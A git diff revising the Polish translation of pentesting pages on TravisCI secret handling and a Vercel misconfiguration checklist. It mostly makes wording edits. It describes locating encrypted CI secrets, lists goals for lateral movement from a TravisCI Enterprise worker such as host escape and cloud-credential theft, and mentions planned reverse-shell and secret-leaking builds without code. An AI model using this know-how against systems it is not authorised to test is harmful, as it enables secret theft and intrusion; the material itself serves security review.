- Aby wyliczyć **niestandardowe zaszyfrowane sekrety**, najlepiej jest **sprawdzić plik `.travis.yml`**.
-- Aby **wyliczyć zaszyfrowane pliki**, możesz sprawdzić **pliki `.enc`** w repozytorium, w poszukiwaniu linii podobnych do `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` w pliku konfiguracyjnym, lub dla **zaszyfrowanych iv i kluczy** w **zmiennych środowiskowych**, takich jak:
+- Aby **wyliczyć zaszyfrowane pliki**, możesz sprawdzić **pliki `.enc`** w repozytorium, linie podobne do `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` w pliku konfiguracyjnym, lub **zaszyfrowane iv i klucze** w **zmiennych środowiskowych** takich jak:
.png>)
### TODO:
-- Przykład budowy z odwróconym shellem działającym na Windows/Mac/Linux
+- Przykład budowy z działającym reverse shellem na Windows/Mac/Linux
- Przykład budowy wyciekającej zmienną środowiskową zakodowaną w base64 w logach
### TravisCI Enterprise
-Jeśli atakujący znajdzie się w środowisku, które używa **TravisCI enterprise** (więcej informacji na ten temat w [**podstawowych informacjach**](basic-travisci-information.md#travisci-enterprise)), będzie mógł **uruchomić budowy w Workerze.** Oznacza to, że atakujący będzie mógł poruszać się lateralnie do tego serwera, z którego mógłby:
+Jeśli atakujący znajdzie się w środowisku, które używa **TravisCI enterprise** (więcej informacji na ten temat w [**podstawowych informacjach**](basic-travisci-information.md#travisci-enterprise)), będzie mógł **wyzwalać budowy w Workerze.** Oznacza to, że atakujący będzie mógł poruszać się lateralnie do tego serwera, z którego mógłby:
- uciec do hosta?
- skompromitować kubernetes?
- skompromitować inne maszyny działające w tej samej sieci?
-- skompromitować nowe dane uwierzytelniające w chmurze?
+- skompromitować nowe poświadczenia chmurowe?
-## References
+## Odniesienia
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index a0e471340..8382e5e5a 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -16,7 +16,7 @@ Na przykład, w Github poprosi o następujące uprawnienia:
### Zmienne środowiskowe
-W TravisCI, jak w innych platformach CI, możliwe jest **zapisywanie na poziomie repozytorium sekretów**, które będą przechowywane w formie zaszyfrowanej i będą **odszyfrowywane i przesyłane w zmiennej środowiskowej** maszyny wykonującej budowę.
+W TravisCI, podobnie jak w innych platformach CI, możliwe jest **zapisywanie na poziomie repozytorium sekretów**, które będą zapisywane w formie zaszyfrowanej i będą **odszyfrowywane i przesyłane do zmiennej środowiskowej** maszyny wykonującej budowę.
.png>)
@@ -31,7 +31,7 @@ Możesz uzyskać dostęp do klucza publicznego jednego repozytorium za pomocą:
travis pubkey -r /
travis pubkey -r carlospolop/t-ci-test
```
-Następnie możesz użyć tej konfiguracji, aby **szyfrować sekrety i dodać je do swojego `.travis.yaml`**. Sekrety będą **odszyfrowane, gdy budowa będzie uruchamiana** i dostępne w **zmiennych środowiskowych**.
+Następnie możesz użyć tej konfiguracji do **szyfrowania sekretów i dodawania ich do swojego `.travis.yaml`**. Sekrety będą **odszyfrowane, gdy budowa będzie uruchamiana** i dostępne w **zmiennych środowiskowych**.
.png>)
@@ -39,7 +39,7 @@ Zauważ, że sekrety szyfrowane w ten sposób nie będą widoczne na liście w z
### Niestandardowe Szyfrowane Pliki
-W ten sam sposób, co wcześniej, TravisCI również pozwala na **szyfrowanie plików, a następnie odszyfrowywanie ich podczas budowy**:
+Tak jak wcześniej, TravisCI również pozwala na **szyfrowanie plików, a następnie odszyfrowywanie ich podczas budowy**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -67,21 +67,21 @@ Travis CI Enterprise to **wersja on-prem Travis CI**, którą możesz wdrożyć
**Travis CI Enterprise składa się z dwóch głównych części:**
-1. Usługi TCI **(lub Usługi TCI Core)**, odpowiedzialne za integrację z systemami kontroli wersji, autoryzację budów, planowanie zadań budowlanych itp.
-2. TCI **Worker** oraz obrazy środowiska budowy (nazywane również obrazami systemu operacyjnego).
+1. Usługi TCI **(lub TCI Core Services)**, odpowiedzialne za integrację z systemami kontroli wersji, autoryzację budów, planowanie zadań budowlanych itp.
+2. TCI **Worker** i obrazy środowiska budowy (nazywane również obrazami systemu operacyjnego).
-**Usługi TCI Core wymagają następujących elementów:**
+**Usługi TCI Core wymagają następujących:**
1. Bazy danych **PostgreSQL11** (lub nowszej).
2. Infrastruktury do wdrożenia klastra Kubernetes; może być wdrożona w klastrze serwerów lub na pojedynczej maszynie, jeśli to konieczne.
-3. W zależności od twojej konfiguracji, możesz chcieć wdrożyć i skonfigurować niektóre z komponentów samodzielnie, np. RabbitMQ - zobacz [Konfiguracja Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) po więcej szczegółów.
+3. W zależności od twojej konfiguracji, możesz chcieć wdrożyć i skonfigurować niektóre z komponentów samodzielnie, np. RabbitMQ - zobacz [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) po więcej szczegółów.
-**Worker TCI wymaga następujących elementów:**
+**Worker TCI wymaga następujących:**
1. Infrastruktury, w której można wdrożyć obraz docker zawierający **Worker i powiązany obraz budowy**.
-2. Łączności z niektórymi komponentami Usług Core Travis CI - zobacz [Konfiguracja Workera](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) po więcej szczegółów.
+2. Łączności z niektórymi komponentami Travis CI Core Services - zobacz [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) po więcej szczegółów.
-Liczba wdrożonych obrazów systemu operacyjnego TCI Worker i środowiska budowy określi całkowitą równoległą pojemność wdrożenia Travis CI Enterprise w twojej infrastrukturze.
+Liczba wdrożonych obrazów TCI Worker i środowiska budowy OS określi całkowitą równoległą pojemność wdrożenia Travis CI Enterprise w twojej infrastrukturze.
.png>)
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 21b4d2f3f..5824f7f6d 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -6,7 +6,7 @@
W Vercel **Zespół** to pełne **środowisko**, które należy do klienta, a **projekt** to **aplikacja**.
-Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytkownika z **uprawnieniami roli Widok** lub przynajmniej **uprawnieniami widoku projektu** nad projektami, aby sprawdzić (w przypadku, gdy potrzebujesz tylko sprawdzić projekty, a nie konfigurację Zespołu).
+Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytkownika z **uprawnieniami roli przeglądającego** lub przynajmniej **uprawnieniami przeglądania projektu** nad projektami, aby sprawdzić (w przypadku, gdy potrzebujesz tylko sprawdzić projekty, a nie konfigurację zespołu).
## Ustawienia projektu
@@ -17,10 +17,10 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Transfer**
-- **Błędna konfiguracja:** Umożliwia przeniesienie projektu do innego zespołu
+- **Błąd w konfiguracji:** Umożliwia przeniesienie projektu do innego zespołu
- **Ryzyko:** Atakujący może ukraść projekt
- **Usuń projekt**
-- **Błędna konfiguracja:** Umożliwia usunięcie projektu
+- **Błąd w konfiguracji:** Umożliwia usunięcie projektu
- **Ryzyko:** Usunięcie projektu
---
@@ -32,16 +32,16 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Błędy konfiguracji DNS**
-- **Błędna konfiguracja:** Nieprawidłowe rekordy DNS (A, CNAME) wskazujące na złośliwe serwery.
+- **Błąd w konfiguracji:** Nieprawidłowe rekordy DNS (A, CNAME) wskazujące na złośliwe serwery.
- **Ryzyko:** Przejęcie domeny, przechwytywanie ruchu i ataki phishingowe.
- **Zarządzanie certyfikatami SSL/TLS**
-- **Błędna konfiguracja:** Używanie słabych lub wygasłych certyfikatów SSL/TLS.
+- **Błąd w konfiguracji:** Używanie słabych lub wygasłych certyfikatów SSL/TLS.
- **Ryzyko:** Wrażliwość na ataki typu man-in-the-middle (MITM), co narusza integralność i poufność danych.
- **Implementacja DNSSEC**
-- **Błędna konfiguracja:** Nieaktywowanie DNSSEC lub nieprawidłowe ustawienia DNSSEC.
+- **Błąd w konfiguracji:** Nie włączenie DNSSEC lub nieprawidłowe ustawienia DNSSEC.
- **Ryzyko:** Zwiększona podatność na ataki spoofingowe DNS i ataki na pamięć podręczną.
- **Środowisko używane na domenę**
-- **Błędna konfiguracja:** Zmiana środowiska używanego przez domenę w produkcji.
+- **Błąd w konfiguracji:** Zmiana środowiska używanego przez domenę w produkcji.
- **Ryzyko:** Ujawnienie potencjalnych sekretów lub funkcji, które nie powinny być dostępne w produkcji.
---
@@ -53,10 +53,10 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Izolacja środowiska**
-- **Błędna konfiguracja:** Udostępnianie zmiennych środowiskowych między środowiskami.
+- **Błąd w konfiguracji:** Udostępnianie zmiennych środowiskowych między środowiskami.
- **Ryzyko:** Ujawnienie sekretów produkcyjnych w środowiskach rozwojowych lub podglądowych, zwiększając narażenie.
- **Dostęp do wrażliwych środowisk**
-- **Błędna konfiguracja:** Umożliwienie szerokiego dostępu do środowisk produkcyjnych.
+- **Błąd w konfiguracji:** Umożliwienie szerokiego dostępu do środowisk produkcyjnych.
- **Ryzyko:** Nieautoryzowane zmiany lub dostęp do aplikacji na żywo, co prowadzi do potencjalnych przestojów lub naruszeń danych.
---
@@ -68,13 +68,13 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Ujawnianie wrażliwych zmiennych**
-- **Błędna konfiguracja:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta.
+- **Błąd w konfiguracji:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta.
- **Ryzyko:** Ujawnienie kluczy API, poświadczeń bazy danych lub innych wrażliwych danych publicznie, co prowadzi do naruszeń danych.
- **Wrażliwe wyłączone**
-- **Błędna konfiguracja:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów.
+- **Błąd w konfiguracji:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów.
- **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji.
- **Wspólne zmienne środowiskowe**
-- **Błędna konfiguracja:** To są zmienne środowiskowe ustawione na poziomie Zespołu i mogą również zawierać wrażliwe informacje.
+- **Błąd w konfiguracji:** To są zmienne środowiskowe ustawione na poziomie zespołu i mogą również zawierać wrażliwe informacje.
- **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji.
---
@@ -86,7 +86,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Zignorowany krok budowy (TODO)**
-- **Błędna konfiguracja:** Wygląda na to, że ta opcja pozwala skonfigurować skrypt/komendy bash, które będą wykonywane, gdy nowy commit zostanie przesłany do Github, co może umożliwić RCE.
+- **Błąd w konfiguracji:** Wygląda na to, że ta opcja pozwala skonfigurować skrypt/komendy bash, które będą wykonywane, gdy nowy commit zostanie przesłany do Github, co może umożliwić RCE.
- **Ryzyko:** TBD
---
@@ -98,59 +98,59 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Niebezpieczne integracje zewnętrzne**
-- **Błędna konfiguracja:** Integracja z nieufnymi lub niebezpiecznymi usługami zewnętrznymi.
-- **Ryzyko:** Wprowadzenie luk w zabezpieczeniach, wycieków danych lub tylnej furtki przez skompromitowane integracje.
+- **Błąd w konfiguracji:** Integracja z nieufnymi lub niebezpiecznymi usługami zewnętrznymi.
+- **Ryzyko:** Wprowadzenie luk w zabezpieczeniach, wyciek danych lub tylne drzwi przez skompromitowane integracje.
- **Nadmierne uprawnienia integracji**
-- **Błędna konfiguracja:** Przyznawanie nadmiernych uprawnień zintegrowanym usługom.
+- **Błąd w konfiguracji:** Przyznawanie nadmiernych uprawnień zintegrowanym usługom.
- **Ryzyko:** Nieautoryzowany dostęp do zasobów projektu, manipulacja danymi lub zakłócenia usług.
- **Brak monitorowania integracji**
-- **Błędna konfiguracja:** Nie monitorowanie i audytowanie integracji zewnętrznych.
+- **Błąd w konfiguracji:** Nie monitorowanie i audytowanie integracji zewnętrznych.
- **Ryzyko:** Opóźnione wykrywanie skompromitowanych integracji, zwiększając potencjalny wpływ naruszeń bezpieczeństwa.
---
### Ochrona wdrożeń
-**Cel:** Zabezpieczenie wdrożeń poprzez różne mechanizmy ochrony, kontrolując, kto może uzyskać dostęp i wdrażać w twoich środowiskach.
+**Cel:** Zabezpieczenie wdrożeń poprzez różne mechanizmy ochrony, kontrolując, kto może uzyskać dostęp i wdrażać do twoich środowisk.
#### Konfiguracje zabezpieczeń:
**Autoryzacja Vercel**
-- **Błędna konfiguracja:** Wyłączanie autoryzacji lub brak egzekwowania kontroli członków zespołu.
+- **Błąd w konfiguracji:** Wyłączenie autoryzacji lub brak egzekwowania kontroli członków zespołu.
- **Ryzyko:** Nieautoryzowani użytkownicy mogą uzyskać dostęp do wdrożeń, co prowadzi do naruszeń danych lub niewłaściwego użycia aplikacji.
-**Obejście ochrony dla automatyzacji**
+**Ominięcie ochrony dla automatyzacji**
-- **Błędna konfiguracja:** Publiczne ujawnienie sekretu obejścia lub używanie słabych sekretów.
-- **Ryzyko:** Atakujący mogą obejść ochronę wdrożeń, uzyskując dostęp i manipulując chronionymi wdrożeniami.
+- **Błąd w konfiguracji:** Publiczne ujawnienie sekretu omijającego lub używanie słabych sekretów.
+- **Ryzyko:** Atakujący mogą ominąć ochronę wdrożeń, uzyskując dostęp i manipulując chronionymi wdrożeniami.
**Linki do udostępniania**
-- **Błędna konfiguracja:** Udostępnianie linków bez ograniczeń lub brak unieważnienia przestarzałych linków.
+- **Błąd w konfiguracji:** Udostępnianie linków bez ograniczeń lub brak unieważnienia przestarzałych linków.
- **Ryzyko:** Nieautoryzowany dostęp do chronionych wdrożeń, omijając autoryzację i ograniczenia IP.
**Opcje Allowlist**
-- **Błędna konfiguracja:** Umożliwienie zbyt szerokich ścieżek lub wrażliwych punktów końcowych.
+- **Błąd w konfiguracji:** Umożliwienie zbyt szerokiego dostępu do ścieżek lub wrażliwych punktów końcowych.
- **Ryzyko:** Atakujący mogą wykorzystać niechronione ścieżki do wykonywania nieautoryzowanych działań lub omijania kontroli bezpieczeństwa.
**Ochrona hasłem**
-- **Błędna konfiguracja:** Używanie słabych haseł lub ich niebezpieczne udostępnianie.
+- **Błąd w konfiguracji:** Używanie słabych haseł lub ich niebezpieczne udostępnianie.
- **Ryzyko:** Nieautoryzowany dostęp do wdrożeń, jeśli hasła zostaną odgadnięte lub wyciekły.
- **Uwaga:** Dostępne w planie **Pro** jako część **Zaawansowanej Ochrony Wdrożeń** za dodatkowe 150 USD/miesiąc.
**Wyjątki w ochronie wdrożeń**
-- **Błędna konfiguracja:** Nieumyślne dodawanie domen produkcyjnych lub wrażliwych do listy wyjątków.
+- **Błąd w konfiguracji:** Nieumyślne dodanie domen produkcyjnych lub wrażliwych do listy wyjątków.
- **Ryzyko:** Ujawnienie krytycznych wdrożeń publicznie, co prowadzi do wycieków danych lub nieautoryzowanego dostępu.
- **Uwaga:** Dostępne w planie **Pro** jako część **Zaawansowanej Ochrony Wdrożeń** za dodatkowe 150 USD/miesiąc.
**Zaufane adresy IP**
-- **Błędna konfiguracja:** Nieprawidłowe określenie adresów IP lub zakresów CIDR.
-- **Ryzyko:** Blokowanie legalnych użytkowników lub uzyskiwanie dostępu przez nieautoryzowane adresy IP.
+- **Błąd w konfiguracji:** Nieprawidłowe określenie adresów IP lub zakresów CIDR.
+- **Ryzyko:** Blokowanie legalnych użytkowników lub uzyskanie dostępu przez nieautoryzowane adresy IP.
- **Uwaga:** Dostępne w planie **Enterprise**.
---
@@ -172,7 +172,7 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Opróżnij pamięć podręczną**
-- **Błędna konfiguracja:** Umożliwia usunięcie całej pamięci podręcznej.
+- **Błąd w konfiguracji:** Umożliwia usunięcie całej pamięci podręcznej.
- **Ryzyko:** Nieautoryzowani użytkownicy usuwający pamięć podręczną prowadzący do potencjalnego DoS.
---
@@ -184,14 +184,14 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Wyłącz zadanie Cron**
-- **Błędna konfiguracja:** Umożliwia wyłączenie zadań cron zadeklarowanych w kodzie.
-- **Ryzyko:** Potencjalne przerwanie usługi (w zależności od tego, do czego miały służyć zadania cron).
+- **Błąd w konfiguracji:** Umożliwia wyłączenie zadań cron zadeklarowanych w kodzie
+- **Ryzyko:** Potencjalne przerwanie usługi (w zależności od tego, do czego miały służyć zadania cron)
---
### Odpływy logów
-**Cel:** Konfiguracja zewnętrznych usług logowania w celu rejestrowania i przechowywania logów aplikacji do monitorowania i audytowania.
+**Cel:** Konfiguracja zewnętrznych usług logowania w celu przechwytywania i przechowywania logów aplikacji do monitorowania i audytowania.
#### Konfiguracje zabezpieczeń:
@@ -207,40 +207,40 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
**Logi budowy i ochrona źródła**
-- **Błędna konfiguracja:** Wyłączanie ochrony lub publiczne ujawnianie ścieżek `/logs` i `/src`.
+- **Błąd w konfiguracji:** Wyłączenie ochrony lub publiczne ujawnienie ścieżek `/logs` i `/src`.
- **Ryzyko:** Nieautoryzowany dostęp do logów budowy i kodu źródłowego, co prowadzi do wycieków informacji i potencjalnego wykorzystania luk w zabezpieczeniach.
**Ochrona forka Git**
-- **Błędna konfiguracja:** Umożliwienie nieautoryzowanych pull requestów bez odpowiednich przeglądów.
-- **Ryzyko:** Złośliwy kod może zostać scalony z bazą kodu, wprowadzając luki w zabezpieczeniach lub tylne furtki.
+- **Błąd w konfiguracji:** Umożliwienie nieautoryzowanych pull requestów bez odpowiednich przeglądów.
+- **Ryzyko:** Złośliwy kod może zostać scalony z bazą kodu, wprowadzając luki w zabezpieczeniach lub tylne drzwi.
**Bezpieczny dostęp do backendu z OIDC Federation**
-- **Błędna konfiguracja:** Nieprawidłowe skonfigurowanie parametrów OIDC lub używanie niebezpiecznych adresów URL wydawcy.
+- **Błąd w konfiguracji:** Nieprawidłowe skonfigurowanie parametrów OIDC lub używanie niebezpiecznych adresów URL wydawcy.
- **Ryzyko:** Nieautoryzowany dostęp do usług backendowych przez wadliwe przepływy autoryzacji.
**Polityka przechowywania wdrożeń**
-- **Błędna konfiguracja:** Ustawienie zbyt krótkich okresów przechowywania (utrata historii wdrożeń) lub zbyt długich (niepotrzebne przechowywanie danych).
+- **Błąd w konfiguracji:** Ustawienie okresów przechowywania zbyt krótkich (utrata historii wdrożeń) lub zbyt długich (niepotrzebne przechowywanie danych).
- **Ryzyko:** Niemożność wykonania rollbacków w razie potrzeby lub zwiększone ryzyko ujawnienia danych z starych wdrożeń.
**Ostatnio usunięte wdrożenia**
-- **Błędna konfiguracja:** Nie monitorowanie usuniętych wdrożeń lub poleganie wyłącznie na automatycznych usunięciach.
+- **Błąd w konfiguracji:** Nie monitorowanie usuniętych wdrożeń lub poleganie wyłącznie na automatycznych usunięciach.
- **Ryzyko:** Utrata krytycznej historii wdrożeń, co utrudnia audyty i rollbacki.
---
### Zaawansowane
-**Cel:** Dostęp do dodatkowych ustawień projektu w celu dostosowania konfiguracji i zwiększenia bezpieczeństwa.
+**Cel:** Dostęp do dodatkowych ustawień projektu w celu precyzyjnego dostosowania konfiguracji i zwiększenia bezpieczeństwa.
#### Konfiguracje zabezpieczeń:
**Lista katalogów**
-- **Błędna konfiguracja:** Włączenie listy katalogów pozwala użytkownikom na przeglądanie zawartości katalogu bez pliku indeksu.
+- **Błąd w konfiguracji:** Włączenie listy katalogów pozwala użytkownikom na przeglądanie zawartości katalogów bez pliku indeksu.
- **Ryzyko:** Ujawnienie wrażliwych plików, struktury aplikacji i potencjalnych punktów wejścia do ataków.
---
@@ -253,13 +253,13 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
**Włącz tryb wyzwania ataku**
-- **Błędna konfiguracja:** Włączenie tego poprawia obronę aplikacji webowej przed DoS, ale kosztem użyteczności.
+- **Błąd w konfiguracji:** Włączenie tego poprawia obronę aplikacji webowej przed DoS, ale kosztem użyteczności
- **Ryzyko:** Potencjalne problemy z doświadczeniem użytkownika.
### Niestandardowe zasady i blokowanie IP
-- **Błędna konfiguracja:** Umożliwia odblokowanie/zablokowanie ruchu.
-- **Ryzyko:** Potencjalny DoS umożliwiający złośliwy ruch lub blokujący ruch legalny.
+- **Błąd w konfiguracji:** Umożliwia odblokowanie/zablokowanie ruchu
+- **Ryzyko:** Potencjalny DoS umożliwiający złośliwy ruch lub blokujący ruch legalny
---
@@ -267,13 +267,13 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
### Źródło
-- **Błędna konfiguracja:** Umożliwia dostęp do odczytu pełnego kodu źródłowego aplikacji.
-- **Ryzyko:** Potencjalne ujawnienie wrażliwych informacji.
+- **Błąd w konfiguracji:** Umożliwia dostęp do odczytu pełnego kodu źródłowego aplikacji
+- **Ryzyko:** Potencjalne ujawnienie wrażliwych informacji
### Ochrona przed rozbieżnościami
-- **Błędna konfiguracja:** Ta ochrona zapewnia, że aplikacja klienta i serwera zawsze używają tej samej wersji, aby nie było rozbieżności, w których klient używa innej wersji niż serwer i dlatego się nie rozumieją.
-- **Ryzyko:** Wyłączenie tego (jeśli włączone) może spowodować problemy z DoS w nowych wdrożeniach w przyszłości.
+- **Błąd w konfiguracji:** Ta ochrona zapewnia, że aplikacja klienta i serwera zawsze używają tej samej wersji, aby nie było rozbieżności, w których klient używa innej wersji niż serwer i dlatego się nie rozumieją.
+- **Ryzyko:** Wyłączenie tego (jeśli włączone) może spowodować problemy z DoS w nowych wdrożeniach w przyszłości
---
@@ -284,11 +284,11 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Transfer**
-- **Błędna konfiguracja:** Umożliwia przeniesienie wszystkich projektów do innego zespołu.
-- **Ryzyko:** Atakujący może ukraść projekty.
+- **Błąd w konfiguracji:** Umożliwia przeniesienie wszystkich projektów do innego zespołu
+- **Ryzyko:** Atakujący może ukraść projekty
- **Usuń projekt**
-- **Błędna konfiguracja:** Umożliwia usunięcie zespołu ze wszystkimi projektami.
-- **Ryzyko:** Usunięcie projektów.
+- **Błąd w konfiguracji:** Umożliwia usunięcie zespołu ze wszystkimi projektami
+- **Ryzyko:** Usunięcie projektów
---
@@ -297,8 +297,8 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Limit kosztów Speed Insights**
-- **Błędna konfiguracja:** Atakujący może zwiększyć tę liczbę.
-- **Ryzyko:** Zwiększone koszty.
+- **Błąd w konfiguracji:** Atakujący może zwiększyć tę liczbę
+- **Ryzyko:** Zwiększone koszty
---
@@ -307,25 +307,25 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Dodaj członków**
-- **Błędna konfiguracja:** Atakujący może utrzymać trwałość, zapraszając konto, które kontroluje.
-- **Ryzyko:** Trwałość atakującego.
+- **Błąd w konfiguracji:** Atakujący może utrzymać trwałość, zapraszając konto, które kontroluje
+- **Ryzyko:** Trwałość atakującego
- **Role**
-- **Błędna konfiguracja:** Przyznawanie zbyt wielu uprawnień osobom, które ich nie potrzebują, zwiększa ryzyko konfiguracji Vercel. Sprawdź wszystkie możliwe role w [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
-- **Ryzyko:** Zwiększenie narażenia Zespołu Vercel.
+- **Błąd w konfiguracji:** Przyznawanie zbyt wielu uprawnień osobom, które ich nie potrzebują, zwiększa ryzyko konfiguracji Vercel. Sprawdź wszystkie możliwe role w [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+- **Ryzyko**: Zwiększenie narażenia zespołu Vercel
---
### Grupy dostępu
-**Grupa dostępu** w Vercel to zbiór projektów i członków zespołu z przypisanymi rolami, co umożliwia centralne i uproszczone zarządzanie dostępem w wielu projektach.
+**Grupa dostępu** w Vercel to zbiór projektów i członków zespołu z przypisanymi z góry rolami, co umożliwia centralne i uproszczone zarządzanie dostępem w wielu projektach.
-**Potencjalne błędne konfiguracje:**
+**Potencjalne błędy w konfiguracji:**
- **Nadmierne uprawnienia członków:** Przypisywanie ról z większymi uprawnieniami niż to konieczne, co prowadzi do nieautoryzowanego dostępu lub działań.
- **Nieprawidłowe przypisania ról:** Nieprawidłowe przypisanie ról, które nie odpowiadają obowiązkom członków zespołu, powodujące eskalację uprawnień.
- **Brak segregacji projektów:** Nieoddzielanie wrażliwych projektów, co pozwala na szerszy dostęp niż zamierzono.
-- **Niewystarczające zarządzanie grupami:** Nieprzeglądanie ani nieaktualizowanie regularnie Grup Dostępu, co skutkuje przestarzałymi lub nieodpowiednimi uprawnieniami dostępu.
-- **Niekonsekwentne definicje ról:** Używanie niespójnych lub niejasnych definicji ról w różnych Grupach Dostępu, co prowadzi do zamieszania i luk w zabezpieczeniach.
+- **Niewystarczające zarządzanie grupami:** Nieprzeglądanie ani nieaktualizowanie regularnie grup dostępu, co skutkuje przestarzałymi lub nieodpowiednimi uprawnieniami dostępu.
+- **Niekonsekwentne definicje ról:** Używanie niespójnych lub niejasnych definicji ról w różnych grupach dostępu, co prowadzi do zamieszania i luk w zabezpieczeniach.
---
@@ -334,8 +334,8 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Odpływy logów do stron trzecich:**
-- **Błędna konfiguracja:** Atakujący może skonfigurować Odpływ logów, aby ukraść logi.
-- **Ryzyko:** Częściowa trwałość.
+- **Błąd w konfiguracji:** Atakujący może skonfigurować odpływ logów, aby ukraść logi
+- **Ryzyko:** Częściowa trwałość
---
@@ -344,38 +344,38 @@ Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytk
#### Konfiguracje zabezpieczeń:
- **Domena e-mail zespołu:** Po skonfigurowaniu to ustawienie automatycznie zaprasza osobiste konta Vercel z adresami e-mail kończącymi się na określonej domenie (np. `mydomain.com`) do dołączenia do twojego zespołu po rejestracji i na pulpicie.
-- **Błędna konfiguracja:**
-- Określenie niewłaściwej domeny e-mail lub błędnie napisanej domeny w ustawieniu Domena e-mail zespołu.
+- **Błąd w konfiguracji:**
+- Określenie niewłaściwej domeny e-mail lub błędnie napisanej domeny w ustawieniu domeny e-mail zespołu.
- Używanie powszechnej domeny e-mail (np. `gmail.com`, `hotmail.com`) zamiast domeny specyficznej dla firmy.
- **Ryzyka:**
- **Nieautoryzowany dostęp:** Użytkownicy z adresami e-mail z niezamierzonych domen mogą otrzymać zaproszenia do dołączenia do twojego zespołu.
-- **Ujawnienie danych:** Potencjalne ujawnienie wrażliwych informacji o projekcie nieautoryzowanym osobom.
+- **Ujawnienie danych:** Potencjalne ujawnienie wrażliwych informacji o projekcie osobom nieuprawnionym.
- **Chronione zakresy Git:** Umożliwia dodanie do 5 zakresów Git do twojego zespołu, aby zapobiec innym zespołom Vercel wdrażania repozytoriów z chronionego zakresu. Wiele zespołów może określić ten sam zakres, co umożliwia dostęp obu zespołów.
-- **Błędna konfiguracja:** Nie dodawanie krytycznych zakresów Git do listy chronionej.
+- **Błąd w konfiguracji:** Nie dodanie krytycznych zakresów Git do listy chronionej.
- **Ryzyka:**
- **Nieautoryzowane wdrożenia:** Inne zespoły mogą wdrażać repozytoria z zakresów Git twojej organizacji bez autoryzacji.
- **Ujawnienie własności intelektualnej:** Własny kod może zostać wdrożony i uzyskany poza twoim zespołem.
- **Polityki zmiennych środowiskowych:** Egzekwuje polityki dotyczące tworzenia i edytowania zmiennych środowiskowych zespołu. W szczególności możesz egzekwować, aby wszystkie zmienne środowiskowe były tworzone jako **Wrażliwe zmienne środowiskowe**, które mogą być odszyfrowane tylko przez system wdrożeniowy Vercel.
-- **Błędna konfiguracja:** Utrzymywanie wyłączenia egzekwowania wrażliwych zmiennych środowiskowych.
+- **Błąd w konfiguracji:** Utrzymywanie wyłączenia egzekwowania wrażliwych zmiennych środowiskowych.
- **Ryzyka:**
- **Ujawnienie sekretów:** Zmienne środowiskowe mogą być przeglądane lub edytowane przez nieautoryzowanych członków zespołu.
